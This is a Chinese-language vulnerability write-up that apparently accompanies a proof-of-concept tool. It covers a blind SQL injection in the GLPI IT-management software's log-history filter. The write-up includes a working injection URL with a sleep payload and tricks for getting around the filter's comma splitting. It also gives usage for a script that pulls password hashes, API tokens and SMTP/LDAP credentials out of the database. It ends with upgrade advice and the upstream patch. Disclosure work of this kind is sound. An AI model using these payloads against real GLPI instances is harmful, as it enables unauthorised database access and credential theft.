GLPI 历史日志过滤器中的 SQL 盲注。CVE-2026-53629,已在 11.0.8 和 10.0.26 中修复,自 9.4.0 起存在漏洞。
需要任意具备 logs 读取权限的账户。默认自带的只读(Read-Only)配置文件就有该权限。
安全公告:GHSA-cpcj-x335-5cmh 技术分析:我是怎么发现的
Log::convertFiltersValuesToSqlCriteria() 将 affected_fields 过滤器拆分为 key:operator:values。针对 CVE-2026-29047 的补丁校验了 operator 并强转了数组索引,但留下 $key 未处理。
DBmysqlIterator::analyseCrit() 不会将 OR、AND 和 NOT 加引号作为列名。它会对它们的值进行递归,而递归最终落入一个已弃用的分支,把纯字符串直接当作原始 SQL 返回。
因此,用 OR 作为 key,就能把任意内容拼入 WHERE 子句:
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))
历史记录标签页也可以通过 filters[affected_fields][0] 实现同样的效果。
explode(',', $values) 会破坏任何带逗号的内容,因此 SUBSTRING(s,1,1) 和 IF(a,b,c) 无法使用。CASE WHEN ... THEN ... ELSE ... END 和 MID(s FROM n FOR 1) 可以达到目的。用十六进制字面量代替引号,0x676c7069 即 glpi。
该 payload 会对 glpi_logs 中的每一行执行一次,因此 sleep 会被叠加。6 行各 sleep(5) 就是 30 秒。在真实实例上请把它降到 0.1,否则请求永远无法返回。
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly
通过二分查找逐字符读取 glpi_users.password。用 --id 指定其他用户,用 --sleep 和 --threshold 处理较慢的目标。
同样的技巧还可以读取 api_token、personal_token 以及 glpi_configs 中的 SMTP 和 LDAP 凭据。
升级。如果无法升级,请从不需要该权限的配置文件中移除 logs 读取权限。上游已将 key 加入白名单:
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}
此工具在相关修复发布之后才公开。不要对不属于你的目标运行它。